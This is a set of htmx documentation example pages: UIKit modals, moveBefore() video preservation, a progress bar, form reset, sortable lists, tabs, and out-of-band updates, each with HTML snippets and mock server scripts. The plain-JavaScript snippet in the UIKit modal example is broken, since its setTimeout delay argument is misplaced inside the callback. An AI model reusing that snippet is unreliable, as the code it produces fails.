	/* Position visible dialog near the top of the window */
	margin-top:10vh;

	/* Sizing for visible dialog */
	width:80%;
	max-width:600px;

	/* Display properties for visible dialog*/
	border:solid 1px #999;
	border-radius:8px;
	box-shadow: 0px 0px 20px 0px rgba(0,0,0,0.3);
	background-color:white;
	padding:20px;

	/* Animate when opening */
	animation-name:zoomIn;
	animation-duration:150ms;
	animation-timing-function: ease;
}

#modal.closing {
	/* Animate when closing */
	animation-name: fadeOut;
	animation-duration:150ms;
	animation-timing-function: ease;
}

#modal.closing > .modal-content {
	/* Animate when closing */
	animation-name: zoomOut;
	animation-duration:150ms;
	animation-timing-function: ease;
}

@keyframes fadeIn {
	0% {opacity: 0;}
	100% {opacity: 1;}
}

@keyframes fadeOut {
	0% {opacity: 1;}
	100% {opacity: 0;}
}

@keyframes zoomIn {
	0% {transform: scale(0.9);}
	100% {transform: scale(1);}
}

@keyframes zoomOut {
	0% {transform: scale(1);}
	100% {transform: scale(0.9);}
}
</style>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/modal-uikit.md

+++
title = "Modal Dialogs with UIKit"
template = "demo.html"
+++

Many CSS toolkits include styles (and Javascript) for creating modal dialog boxes. 
This example shows how to use HTMX to display dynamic dialog using UIKit, and how to 
trigger its animation styles with little or no Javascript.

We start with a button that triggers the dialog, along with a DIV at the bottom of your 
markup where the dialog will be loaded:

This is an example of using HTMX to remotely load modal dialogs using UIKit.  In this example we will use
[Hyperscript](https://hyperscript.org) to demonstrate how cleanly that scripting language allows you to
glue htmx and other libraries together.

```html
<button 
	id="showButton"
	hx-get="/uikit-modal.html" 
	hx-target="#modals-here" 
	class="uk-button uk-button-primary" 
	_="on htmx:afterOnLoad wait 10ms then add .uk-open to #modal">Open Modal</button>

<div id="modals-here"></div>
```

This button uses a `GET` request to `/uikit-modal.html` when this button is clicked.  The
contents of this file will be added to the DOM underneath the `#modals-here` DIV.

Rather than using the standard UIKit Javascript library we are using a bit of Hyperscript, 
which triggers UIKit's smooth animations. It is delayed by 10ms so that UIKit's animations
will run correctly.

Finally, the server responds with a slightly modified version of UIKit's standard modal

```html
<div id="modal" class="uk-modal" style="display:block;">
	<div class="uk-modal-dialog uk-modal-body">
		<h2 class="uk-modal-title">Modal Dialog</h2>
		<p>This modal dialog was loaded dynamically by HTMX.</p>

		<form _="on submit take .uk-open from #modal">
			<div class="uk-margin">
				<input class="uk-input" placeholder="What is Your Name?">
			</div>
			<button type="button" class="uk-button uk-button-primary">Save Changes</button>
			<button 
				id="cancelButton"
				type="button" 
				class="uk-button uk-button-default" 
				_="on click take .uk-open from #modal wait 200ms then remove #modal">Close</button>
		</form>
	</div>
</div>
```

Hyperscript on the button and the form trigger animations when this dialog is completed
or canceled.  If you didn't use this Hyperscript, the modals will still work but UIKit's
fade in animations will not be triggered.

You can, of course, use JavaScript rather than Hyperscript for this work, it's just a lot more code:

```javascript

// This triggers the fade-in animation when a modal dialog is loaded and displayed
window.document.getElementById("showButton").addEventListener("htmx:afterOnLoad", function() {
	setTimeout(function(){
		window.document.getElementById("modal").classList.add("uk-open")
	}, 10)
})


// This triggers the fade-out animation when the modal is closed.
window.document.getElementById("cancelButton").addEventListener("click", function() {
	window.document.getElementById("modal").classList.remove("uk-open")
	setTimeout(function(){
		window.document.getElementById("modals-here").innerHTML = ""
		,200
	})
})
```

<div id="modals-here"></div>

{{ demoenv() }}

<style>
	@import "https://cdnjs.cloudflare.com/ajax/libs/uikit/3.5.9/css/uikit-core.min.css";
</style>

<script>
    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/demo", function(request, params) {
		return `
<button 
	class="uk-button uk-button-primary" 
	hx-get="/modal" 
	hx-trigger="click" 
	hx-target="#modals-here"
	_="on htmx:afterOnLoad wait 10ms then add .uk-open to #modal">Show Modal Dialog</button>`
	})
		
	onGet("/modal", function(request, params){
	  return `
<div id="modal" class="uk-modal" style="display:block;">
	<div class="uk-modal-dialog uk-modal-body">
		<h2 class="uk-modal-title">Modal Dialog</h2>
		<p>This modal dialog was loaded dynamically by HTMX.  You can put any server request here and you don't (necessarily) need to use the UIKit Javascript file to make it work</p>

		<form _="on submit take .uk-open from #modal">
			<div class="uk-margin">
				<input class="uk-input" placeholder="What is Your Name?">
			</div>

			<div class="uk-margin">
				<input class="uk-input" placeholder="What is Your Quest?">
			</div>

			<div class="uk-margin">
				<input class="uk-input" placeholder="What is Your Favorite Color?">
			</div>

			<button type="button" class="uk-button uk-button-primary" _="on click call alert('submit to server and close dialog.')">Save Changes</button>
			<button type="button" class="uk-button uk-button-default" _="on click take .uk-open from #modal wait 200ms then remove #modal">Close</button>
		</form>
	</div>
</div>`
});
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/move-before/details.md

+++
title = "Experimental moveBefore() Support"
insert_anchor_links = "left"
+++

### Demo

Note that the video kept playing, despite the fact it is now a child of a `figure` element.  And you can click back
and the video should continue to work as well.  I enjoy flipping back and forth.

### Rick-Rolling

<figure>
  <iframe hx-preserve="true" id="rick-roll" width="617" height="351" src="https://www.youtube.com/embed/dQw4w9WgXcQ" 
          title="Rick Astley - Never Gonna Give You Up (Official Music Video)" frameborder="0" 
          allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" 
          referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
<figcaption>A Classic Rick Roll</figcaption>
</figure>

#### Background

Rickrolling or a Rickroll is an Internet meme involving the unexpected appearance of the music video to the 1987 hit
song "Never Gonna Give You Up", performed by English singer Rick Astley. The aforementioned video has over 1.5 billion
views on YouTube. The meme is a type of bait and switch, usually using a disguised hyperlink that leads to the music
video. When one clicks on a seemingly unrelated link, the site with the music video loads instead of what was expected,
and they have been "Rickrolled". The meme has also extended to using the song's lyrics, or singing it, in unexpected
contexts. Astley himself has also been Rickrolled on several occasions.

The meme grew out of a similar bait-and-switch trick called "duck rolling" that was popular on the 4chan website in
2006. The video bait-and-switch trick grew popular on 4chan by 2007 during April Fools' Day and spread to other Internet
sites later that year. The meme gained mainstream attention in 2008 through several publicised events, particularly when
YouTube used it on its 2008 April Fools' Day event.

Astley, who had only returned to performing after a 10-year hiatus, was initially hesitant about using his newfound
popularity from the meme to further his career but accepted the fame by Rickrolling the 2008 Macy's Thanksgiving Day
Parade with a surprise performance of the song. Since then, Astley has seen his performance career revitalized by the
meme's popularity, and Rickrolling saw a massive resurgence online in the early 2020s.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/move-before/_index.md

+++
title = "Experimental moveBefore() Support"
insert_anchor_links = "heading"
+++

This page demonstrates the use of the experimental [`moveBefore()`](https://github.com/whatwg/dom/issues/1255) DOM
API available in [Chrome Canary](https://www.google.com/chrome/canary/), which has been integrated into the `hx-preserve`
attribute of htmx, if it is available.

### Getting Chrome Canary & Enabling `moveBefore()`

For the demo to work properly you will need to install Chrome Canary and enable the API:

* Navigate to <chrome://flags/#atomic-move>
* Enable "Atomic DOM move"

htmx takes advantage of this API in the `hx-preserve` functionality if it is available, allowing you to mark an element
as "preserved" and having all its state preserved as it moves between areas on the screen when new content is merged in.
This is significantly better developer experience than current alternatives, such as morphing, which rely on the 
structure of the new page being "close enough" to not have to move things like video elements.

### Demo

If you inspect the video below you will see that it is embedded in a `div` element.  If you click the "View Details" 
link, which is boosted, you will transition to another page with a video element with the same id, but embedded in
a `figure` element instead.  Without the `moveBefore()` functionality it is impossible to keep the video playing in
this situation because "reparenting" (i.e. changing the parent of an element) causes it to reset.

`moveBefore()` opens up a huge number of possibilities in web development by allowing developers to completely change
the layout of a page while still preserving elements play state, focus, etc.  

<div class="center">
  <iframe hx-preserve="true" id="rick-roll" width="617" height="351" src="https://www.youtube.com/embed/dQw4w9WgXcQ" 
          title="Rick Astley - Never Gonna Give You Up (Official Music Video)" frameborder="0" 
          allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" 
          referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
   <div>
   <a hx-boost="true" href="/examples/move-before/details">View Details &rarr;</a>
   </div>
</div>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/progress-bar.md

+++
title = "Progress Bar"
template = "demo.html"
+++

This example shows how to implement a smoothly scrolling progress bar.

We start with an initial state with a button that issues a `POST` to `/start` to begin the job:

```html
<div hx-target="this" hx-swap="outerHTML">
  <h3>Start Progress</h3>
  <button class="btn primary" hx-post="/start">
            Start Job
  </button>
</div>
```

This div is then replaced with a new div containing status and a progress bar that reloads itself every 600ms:

```html
<div hx-trigger="done" hx-get="/job" hx-swap="outerHTML" hx-target="this">
  <h3 role="status" id="pblabel" tabindex="-1" autofocus>Running</h3>

  <div
    hx-get="/job/progress"
    hx-trigger="every 600ms"
    hx-target="this"
    hx-swap="innerHTML">
    <div class="progress" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="0" aria-labelledby="pblabel">
      <div id="pb" class="progress-bar" style="width:0%">
    </div>
  </div>
</div>

```

This progress bar is updated every 600 milliseconds, with the "width" style attribute and `aria-valuenow` attributed set to current progress value.
Because there is an id on the progress bar div, htmx will smoothly transition between requests by settling the
style attribute into its new value.  This, when coupled with CSS transitions, makes the visual transition continuous
rather than jumpy.

Finally, when the process is complete, a server returns `HX-Trigger: done` header, which triggers an update of the UI to "Complete" state
with a restart button added to the UI (we are using the [`class-tools`](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/class-tools/README.md) extension in this example to add fade-in effect on the button):

```html
<div hx-trigger="done" hx-get="/job" hx-swap="outerHTML" hx-target="this">
  <h3 role="status" id="pblabel" tabindex="-1" autofocus>Complete</h3>

  <div
    hx-get="/job/progress"
    hx-trigger="none"
    hx-target="this"
    hx-swap="innerHTML">
      <div class="progress" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="122" aria-labelledby="pblabel">
        <div id="pb" class="progress-bar" style="width:122%">
      </div>
    </div>
  </div>

  <button id="restart-btn" class="btn primary" hx-post="/start" classes="add show:600ms">
    Restart Job
  </button>
</div>
```

This example uses styling cribbed from the bootstrap progress bar:

```css
.progress {
    height: 20px;
    margin-bottom: 20px;
    overflow: hidden;
    background-color: #f5f5f5;
    border-radius: 4px;
    box-shadow: inset 0 1px 2px rgba(0,0,0,.1);
}
.progress-bar {
    float: left;
    width: 0%;
    height: 100%;
    font-size: 12px;
    line-height: 20px;
    color: #fff;
    text-align: center;
    background-color: #337ab7;
    -webkit-box-shadow: inset 0 -1px 0 rgba(0,0,0,.15);
    box-shadow: inset 0 -1px 0 rgba(0,0,0,.15);
    -webkit-transition: width .6s ease;
    -o-transition: width .6s ease;
    transition: width .6s ease;
}
```

{{ demoenv() }}

<style>
.progress {
    height: 20px;
    margin-bottom: 20px;
    overflow: hidden;
    background-color: #f5f5f5;
    border-radius: 4px;
    box-shadow: inset 0 1px 2px rgba(0,0,0,.1);
}
.progress-bar {
    float: left;
    width: 0%;
    height: 100%;
    font-size: 12px;
    line-height: 20px;
    color: #fff;
    text-align: center;
    background-color: #337ab7;
    -webkit-box-shadow: inset 0 -1px 0 rgba(0,0,0,.15);
    box-shadow: inset 0 -1px 0 rgba(0,0,0,.15);
    -webkit-transition: width .6s ease;
    -o-transition: width .6s ease;
    transition: width .6s ease;
}
#restart-btn {
  opacity:0;
}
#restart-btn.show {
  opacity:1;
  transition: opacity 100ms ease-in;
}
</style>
<script>

    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/demo", function(request, params){
      return startButton("Start Progress");
    });

    onPost("/start", function(request, params){
        var job = jobManager.start();
        return jobStatusTemplate(job);
    });

    onGet("/job", function(request, params){
        var job = jobManager.currentProcess();
        return jobStatusTemplate(job);
    });

    onGet("/job/progress", function(request, params, responseHeaders){
        var job = jobManager.currentProcess();

        if (job.complete) {
          responseHeaders["HX-Trigger"] = "done";
        }
        return jobProgressTemplate(job);
    });

    // templates
    function startButton(message) {
      return `<div hx-target="this" hx-swap="outerHTML">
  <h3>${message}</h3>
  <button class="btn primary" hx-post="/start">
            Start Job
  </button>
</div>`;
    }

    function jobProgressTemplate(job) {
      return `<div class="progress" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="${job.percentComplete}" aria-labelledby="pblabel">
      <div id="pb" class="progress-bar" style="width:${job.percentComplete}%">
    </div>
  </div>`
    }

    function jobStatusTemplate(job) {
        return `<div hx-trigger="done" hx-get="/job" hx-swap="outerHTML" hx-target="this">
  <h3 role="status" id="pblabel" tabindex="-1" autofocus>${job.complete ? "Complete" : "Running"}</h3>

  <div
    hx-get="/job/progress"
    hx-trigger="${job.complete ? 'none' : 'every 600ms'}"
    hx-target="this"
    hx-swap="innerHTML">
    ${jobProgressTemplate(job)}
  </div>
  ${restartButton(job)}`;
    }

    function restartButton(job) {
      if(job.complete){
        return `
<button id="restart-btn" class="btn primary" hx-post="/start" classes="add show:600ms">
  Restart Job
</button>`
      } else {
        return "";
      }
    }

    var jobManager = (function(){
      var currentProcess = null;
      return {
        start : function() {
          currentProcess = {
            complete : false,
            percentComplete : 0
          }
          return currentProcess;
        },
        currentProcess : function() {
          currentProcess.percentComplete += Math.min(100, Math.floor(33 * Math.random()));  // simulate progress
          currentProcess.complete = currentProcess.percentComplete >= 100;
          return currentProcess;
        }
      }
    })();
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/reset-user-input.md

+++
title = "Reset user input"
template = "demo.html"
+++

This example shows how to easily reset user inputs using [`hx-on`](@/attributes/hx-on.md),
allowing users to make multiple requests without having to manually delete their previous inputs.

The inline script will run on the [`afterRequest`](@/events.md#htmx:afterRequest) event and ensures 
that the form will reset to its initial state as long as the response has a 20x status code:

```html
<form hx-post="/note"
      hx-target="#notes" 
      hx-swap="afterbegin"
      hx-on::after-request="if(event.detail.successful) this.reset()">
    <div class="form-group">
        <label>Add a note</label>
        <input type="text" name="note-text" placeholder="blank canvas">
    </div>
    <button class="btn">Add</button>
</form>
<ul id="notes"><!-- Response will go here --></ul>
```

The `reset()` method is only available on `form` elements. 
For other elements, the input value can explicitly selected and reset to a default to achieve the same result.
The following code is functionally equivalent:

```html
<div>
    <label>Add a note</label>
    <input id="note-input" type="text" name="note-text" placeholder="blank canvas">
</div>
<button class="btn primary" 
        hx-post="/note" 
        hx-target="#note" 
        hx-swap="afterbegin" 
        hx-include="#note-input"
        hx-on::after-request="if(event.detail.successful)
            document.getElementById('note-input').value = ''">
    Add
</button>
<ul id="notes"><!-- Response will go here --></ul>
```

{{ demoenv() }}

<script>

    //=========================================================================
    // Fake Server Side Code
    //=========================================================================

    // routes
    init("/demo", function(request) {
        return formTemplate();
    })

    onPost("/note", function(request, params) {
        var note = params['note-text'];
        if (note) {
            return `<li>${note}</li>`;
        }
    })

    // templates
    function formTemplate() {
        return `
<form hx-post="/note" hx-target="#notes" hx-swap="afterbegin" hx-on::after-request="if(event.detail.successful) this.reset()">
    <div class="form-group">
        <label>Add a note</label>
        <input type="text" name="note-text" placeholder="blank canvas">
    </div>
    <button class="btn primary">Add</button>
</form>
<ul id="notes"> </ul>`;
    }
</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/sortable.md

+++
title = "Sortable"
template = "demo.html"
+++

In this example we show how to integrate the [Sortable](https://sortablejs.github.io/Sortable/)
javascript library with htmx.

To begin we initialize the `.sortable` class with the `Sortable` javascript library:

```js
htmx.onLoad(function(content) {
    var sortables = content.querySelectorAll(".sortable");
    for (var i = 0; i < sortables.length; i++) {
      var sortable = sortables[i];
      var sortableInstance = new Sortable(sortable, {
          animation: 150,
          ghostClass: 'blue-background-class',

          // Make the `.htmx-indicator` unsortable
          filter: ".htmx-indicator",
          onMove: function (evt) {
            return evt.related.className.indexOf('htmx-indicator') === -1;
          },

          // Disable sorting on the `end` event
          onEnd: function (evt) {
            this.option("disabled", true);
          }
      });

      // Re-enable sorting on the `htmx:afterSwap` event
      sortable.addEventListener("htmx:afterSwap", function() {
        sortableInstance.option("disabled", false);
      });
    }
})
```

Next, we create a form that has some sortable divs within it, and we trigger an ajax request on the `end` event, fired
by Sortable.js:

```html
<form class="sortable" hx-post="/items" hx-trigger="end">
  <div class="htmx-indicator">Updating...</div>
  <div><input type='hidden' name='item' value='1'/>Item 1</div>
  <div><input type='hidden' name='item' value='2'/>Item 2</div>
  <div><input type='hidden' name='item' value='3'/>Item 3</div>
  <div><input type='hidden' name='item' value='4'/>Item 4</div>
  <div><input type='hidden' name='item' value='5'/>Item 5</div>
</form>
```

Note that each div has a hidden input inside of it that specifies the item id for that row.

When the list is reordered via the Sortable.js drag-and-drop, the `end` event will be fired.  htmx will then post
the item ids in the new order to `/items`, to be persisted by the server.

That's it!

{{ demoenv() }}

<script src="https://cdn.jsdelivr.net/npm/sortablejs@latest/Sortable.min.js"></script>
<script>

    //=========================================================================
    // Fake Server Side Code
    //=========================================================================
    htmx.onLoad(function(content) {
        var sortables = content.querySelectorAll(".sortable");
        for (var i = 0; i < sortables.length; i++) {
          var sortable = sortables[i];
          var sortableInstance = new Sortable(sortable, {
              animation: 150,
              ghostClass: 'blue-background-class',

              // Make the `.htmx-indicator` unsortable
              filter: ".htmx-indicator",
              onMove: function (evt) {
                return evt.related.className.indexOf('htmx-indicator') === -1;
              },

              // Disable sorting on the `end` event
              onEnd: function (evt) {
                this.option("disabled", true);
              }
          });

          // Re-enable sorting on the `htmx:afterSwap` event
          sortable.addEventListener("htmx:afterSwap", function() {
            sortableInstance.option("disabled", false);
          });
        }
    })
    
    var listItems = [1, 2, 3, 4, 5]
    // routes
    init("/demo", function(request, params){
      return '<form id="example1" class="list-group col sortable" hx-post="/items" hx-trigger="end">' +
      listContents()
      + "\n</form>";
    });
    
    onPost("/items", function (request, params) {
      console.log(params);
      listItems = params.item;
      return listContents();
    });
    
    // templates
    function listContents() {
      return '<div class="htmx-indicator" style="cursor: default">Updating...</div>' + listItems.map(function(val) {
        return `  <div style="border:1px solid #DEDEDE; padding:12px; margin: 8px; width:200px; cursor: grab" ondrag="this.style.cursor = 'grabbing'" ><input type="hidden" name="item" value="` + val + `"/> Item ` + val + `</div>`;
      }).join("\n");
    }

</script>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/tabs-hateoas.md

+++
title = "Tabs (Using HATEOAS)"
template = "demo.html"
+++

This example shows how easy it is to implement tabs using htmx.  Following the principle of [Hypertext As The Engine Of Application State](https://en.wikipedia.org/wiki/HATEOAS), the selected tab is a part of the application state.  Therefore, to display and select tabs in your application, simply include the tab markup in the returned HTML.  If this does not suit your application server design, you can also use a little bit of [JavaScript to select tabs instead](@/examples/tabs-javascript.md).

## Example Code (Main Page)
The main page simply includes the following HTML to load the initial tab into the DOM.
```html
<div id="tabs" hx-get="/tab1" hx-trigger="load delay:100ms" hx-target="#tabs" hx-swap="innerHTML"></div>
```

## Example Code (Each Tab)
Subsequent tab pages display all tabs and highlight the selected one accordingly.

```html
<div class="tab-list" role="tablist">
	<button hx-get="/tab1" class="selected" role="tab" aria-selected="true" aria-controls="tab-content">Tab 1</button>
	<button hx-get="/tab2" role="tab" aria-selected="false" aria-controls="tab-content">Tab 2</button>
	<button hx-get="/tab3" role="tab" aria-selected="false" aria-controls="tab-content">Tab 3</button>
</div>

<div id="tab-content" role="tabpanel" class="tab-content">
	Commodo normcore truffaut VHS duis gluten-free keffiyeh iPhone taxidermy godard ramps anim pour-over.
	Pitchfork vegan mollit umami quinoa aute aliquip kinfolk eiusmod live-edge cardigan ipsum locavore.
	Polaroid duis occaecat narwhal small batch food truck.
	PBR&B venmo shaman small batch you probably haven't heard of them hot chicken readymade.
	Enim tousled cliche woke, typewriter single-origin coffee hella culpa.
	Art party readymade 90's, asymmetrical hell of fingerstache ipsum.
</div>
```

{{ demoenv() }}

<div id="tabs" hx-target="this" hx-swap="innerHTML">
		<div class="tab-list" role="tablist">
			<button hx-get="/tab1" class="selected" role="tab" aria-selected="true" aria-controls="tab-content">Tab 1</button>
			<button hx-get="/tab2" role="tab" aria-selected="false" aria-controls="tab-content">Tab 2</button>
			<button hx-get="/tab3" role="tab" aria-selected="false" aria-controls="tab-content">Tab 3</button>
		</div>
		<div id="tab-content" role="tabpanel" class="tab-content">
			Commodo normcore truffaut VHS duis gluten-free keffiyeh iPhone taxidermy godard ramps anim pour-over.
			Pitchfork vegan mollit umami quinoa aute aliquip kinfolk eiusmod live-edge cardigan ipsum locavore.
			Polaroid duis occaecat narwhal small batch food truck.
			PBR&B venmo shaman small batch you probably haven't heard of them hot chicken readymade.
			Enim tousled cliche woke, typewriter single-origin coffee hella culpa.
			Art party readymade 90's, asymmetrical hell of fingerstache ipsum.
		</div>
</div>


<script>
	onGet("/tab1", function() {
		return `
		<div class="tab-list" role="tablist">
			<button hx-get="/tab1" class="selected" aria-selected="true" autofocus role="tab" aria-controls="tab-content">Tab 1</button>
			<button hx-get="/tab2" role="tab" aria-selected="false" aria-controls="tab-content">Tab 2</button>
			<button hx-get="/tab3" role="tab" aria-selected="false" aria-controls="tab-content">Tab 3</button>
		</div>

		<div id="tab-content" role="tabpanel" class="tab-content">
			Commodo normcore truffaut VHS duis gluten-free keffiyeh iPhone taxidermy godard ramps anim pour-over.
			Pitchfork vegan mollit umami quinoa aute aliquip kinfolk eiusmod live-edge cardigan ipsum locavore.
			Polaroid duis occaecat narwhal small batch food truck.
			PBR&B venmo shaman small batch you probably haven't heard of them hot chicken readymade.
			Enim tousled cliche woke, typewriter single-origin coffee hella culpa.
			Art party readymade 90's, asymmetrical hell of fingerstache ipsum.
		</div>`
	})

	onGet("/tab2", function() {
		return `
		<div class="tab-list" role="tablist">
			<button hx-get="/tab1" role="tab" aria-selected="false" aria-controls="tab-content">Tab 1</button>
			<button hx-get="/tab2" class="selected" aria-selected="true" autofocus role="tab" aria-controls="tab-content">Tab 2</button>
			<button hx-get="/tab3" role="tab" aria-selected="false" aria-controls="tab-content">Tab 3</button>
		</div>

		<div id="tab-content" role="tabpanel" class="tab-content">
			Kitsch fanny pack yr, farm-to-table cardigan cillum commodo reprehenderit plaid dolore cronut meditation.
			Tattooed polaroid veniam, anim id cornhole hashtag sed forage.
			Microdosing pug kitsch enim, kombucha pour-over sed irony forage live-edge.
			Vexillologist eu nulla trust fund, street art blue bottle selvage raw denim.
			Dolore nulla do readymade, est subway tile affogato hammock 8-bit.
			Godard elit offal pariatur you probably haven't heard of them post-ironic.
			Prism street art cray salvia.
		</div>`
	})

	onGet("/tab3", function() {
		return `
		<div class="tab-list" role="tablist">
			<button hx-get="/tab1" role="tab" aria-selected="false" aria-controls="tab-content">Tab 1</button>
			<button hx-get="/tab2" role="tab" aria-selected="false" aria-controls="tab-content">Tab 2</button>
			<button hx-get="/tab3" class="selected" aria-selected="true" autofocus role="tab" aria-controls="tab-content">Tab 3</button>
		</div>

		<div id="tab-content" role="tabpanel" class="tab-content">
			Aute chia marfa echo park tote bag hammock mollit artisan listicle direct trade.
			Raw denim flexitarian eu godard etsy.
			Poke tbh la croix put a bird on it fixie polaroid aute cred air plant four loko gastropub swag non brunch.
			Iceland fanny pack tumeric magna activated charcoal bitters palo santo laboris quis consectetur cupidatat portland aliquip venmo.
		</div>`
	})

</script>

<style>
	#demo-canvas {
		display:none;
	}

	#tabs > .tab-list button {
		border: none;
		display: inline-block;
		padding: 5px 10px;
		cursor:pointer;
		background-color: transparent;
		color: var(--textColor);
		border: solid 3px rgba(0,0,0,0);
		border-bottom: solid 3px #eee;
	}

	#tabs > .tab-list button:hover {
		color: var(--midBlue);
	}

	#tabs > .tab-list button.selected {
		border: solid 3px var(--midBlue);
	}

	#tabs > .tab-content {
		padding:10px;
		margin-bottom:100px;
	}
</style>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/tabs-javascript.md

+++
title = "Tabs (Using JavaScript)"
template = "demo.html"
+++

This example shows how to load tab contents using htmx, and to select the "active" tab using Javascript.  This reduces
some duplication by offloading some of the work of re-rendering the tab HTML from your application server to your
clients' browsers.

You may also consider [a more idiomatic approach](@/examples/tabs-hateoas.md) that follows the principle of [Hypertext As The Engine Of Application State](https://en.wikipedia.org/wiki/HATEOAS).

## Example Code

The HTML below displays a list of tabs, with added HTMX to dynamically load each tab pane from the server.  A simple
JavaScript event handler uses the [`take` function](https://hyperscript.org/commands/take/) to switch the selected tab
when the content is swapped into the DOM.

```html

<div id="tabs" hx-target="#tab-contents" role="tablist"
     hx-on:htmx-after-on-load="let currentTab = document.querySelector('[aria-selected=true]');
                               currentTab.setAttribute('aria-selected', 'false')
                               currentTab.classList.remove('selected')
                               let newTab = event.target
                               newTab.setAttribute('aria-selected', 'true')
                               newTab.classList.add('selected')">
    <button role="tab" aria-controls="tab-contents" aria-selected="true" hx-get="/tab1" class="selected">Tab 1</button>
    <button role="tab" aria-controls="tab-contents" aria-selected="false" hx-get="/tab2">Tab 2</button>
    <button role="tab" aria-controls="tab-contents" aria-selected="false" hx-get="/tab3">Tab 3</button>
</div>

<div id="tab-contents" role="tabpanel" hx-get="/tab1" hx-trigger="load"></div>
```

{{ demoenv() }}

<div id="tabs" hx-target="#tab-contents" role="tablist"
     hx-on:htmx-after-on-load="console.log(event)
                               let currentTab = document.querySelector('[aria-selected=true]');
                                          currentTab.setAttribute('aria-selected', 'false')
                                          currentTab.classList.remove('selected')
                                          let newTab = event.target
                                          newTab.setAttribute('aria-selected', 'true')
                                          newTab.classList.add('selected')">
	<button role="tab" aria-controls="tab-contents" aria-selected="true" hx-get="/tab1" class="selected">Tab 1</button>
	<button role="tab" aria-controls="tab-contents" aria-selected="false" hx-get="/tab2">Tab 2</button>
	<button role="tab" aria-controls="tab-contents" aria-selected="false" hx-get="/tab3">Tab 3</button>
</div>

<div id="tab-contents" role="tabpanel" hx-get="/tab1" hx-trigger="load"></div>

<script>
	onGet("/tab1", function() {
		return `
			<p>Commodo normcore truffaut VHS duis gluten-free keffiyeh iPhone taxidermy godard ramps anim pour-over.
			Pitchfork vegan mollit umami quinoa aute aliquip kinfolk eiusmod live-edge cardigan ipsum locavore.
			Polaroid duis occaecat narwhal small batch food truck.
			PBR&B venmo shaman small batch you probably haven't heard of them hot chicken readymade.
			Enim tousled cliche woke, typewriter single-origin coffee hella culpa.
			Art party readymade 90's, asymmetrical hell of fingerstache ipsum.</p>
		`});
	onGet("/tab2", function() {
		return `
			<p>Kitsch fanny pack yr, farm-to-table cardigan cillum commodo reprehenderit plaid dolore cronut meditation.
			Tattooed polaroid veniam, anim id cornhole hashtag sed forage.
			Microdosing pug kitsch enim, kombucha pour-over sed irony forage live-edge.
			Vexillologist eu nulla trust fund, street art blue bottle selvage raw denim.
			Dolore nulla do readymade, est subway tile affogato hammock 8-bit.
			Godard elit offal pariatur you probably haven't heard of them post-ironic.
			Prism street art cray salvia.</p>
		`
	});
	onGet("/tab3", function() {
		return `
			<p>Aute chia marfa echo park tote bag hammock mollit artisan listicle direct trade.
			Raw denim flexitarian eu godard etsy.
			Poke tbh la croix put a bird on it fixie polaroid aute cred air plant four loko gastropub swag non brunch.
			Iceland fanny pack tumeric magna activated charcoal bitters palo santo laboris quis consectetur cupidatat portland aliquip venmo.</p>
		`
	});

</script>

<style>

	#demo-canvas {
		display:none;
	}

	#tabs {
	}

	#tabs > button {
		border: none;
		display: inline-block;
		padding: 5px 10px;
		cursor:pointer;
		background-color: transparent;
		border: solid 3px rgba(0,0,0,0);
		border-bottom: solid 3px #eee;
	}

	#tabs > button:hover {
		color: var(--midBlue);
	}

	#tabs > button.selected {
		border: solid 3px var(--midBlue);
	}

	#tab-contents {
		padding:10px;
	}
</style>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/examples/update-other-content.md

+++
title = "Updating Other Content"
template = "demo.html"
+++

A question that often comes up when people are first working with htmx is: 

> "I need to update other content on the screen.  How do I do this?" 

There are multiple ways to do so, and in this example we will walk you through some of them.

We'll use the following basic UI to discuss this concept: a simple table of contacts, and a form below it
to add new contacts to the table using [hx-post](@/attributes/hx-post.md).

```html
<h2>Contacts</h2>
<table class="table">
  <thead>
    <tr>
      <th>Name</th>
      <th>Email</th>
      <th></th>
    </tr>
  </thead>
  <tbody id="contacts-table">
    ...
  </tbody>
</table>
<h2>Add A Contact</h2>
<form hx-post="/contacts">
  <label>
    Name
        <input name="name" type="text">  
  </label>
  <label>
    Email
        <input name="email" type="email">  
  </label>
</form>
```

The problem here is that when you submit a new contact in the form, you want the contact table above to refresh and
include the contact that was just added by the form.

What solutions do we have?

## Solution 1: Expand the Target {#expand}

The easiest solution here is to "expand the target" of the form to enclose both the table *and* the form.  For example, 
you could wrap the whole thing in a `div` and then target that `div` in the form:

```html
<div id="table-and-form">
    <h2>Contacts</h2>
    <table class="table">
      <thead>
        <tr>
          <th>Name</th>
          <th>Email</th>
          <th></th>
        </tr>
      </thead>
      <tbody id="contacts-table">
        ...
      </tbody>
    </table>
    <h2>Add A Contact</h2>
    <form hx-post="/contacts" hx-target="#table-and-form">
      <label>
        Name
            <input name="name" type="text">  
      </label>
      <label>
        Email
            <input name="email" type="email">  
      </label>
    </form>
</div>
```

Note that we are targeting the enclosing div using the [hx-target](@/attributes/hx-target.md) attribute.  You would need
to render both the table and the form in the response to the `POST` to `/contacts`.

This is a simple and reliable approach, although it might not feel particularly elegant.

## Solution 2: Out of Band Responses {#oob}

A more sophisticated approach to this problem would use [out of band swaps](@/attributes/hx-swap-oob.md) to swap in
updated content to the DOM.  

Using this approach, the HTML doesn't need to change from the original setup at all:

```html
<h2>Contacts</h2>
<table class="table">
  <thead>
    <tr>
      <th>Name</th>
      <th>Email</th>
      <th></th>
    </tr>
  </thead>
  <tbody id="contacts-table">
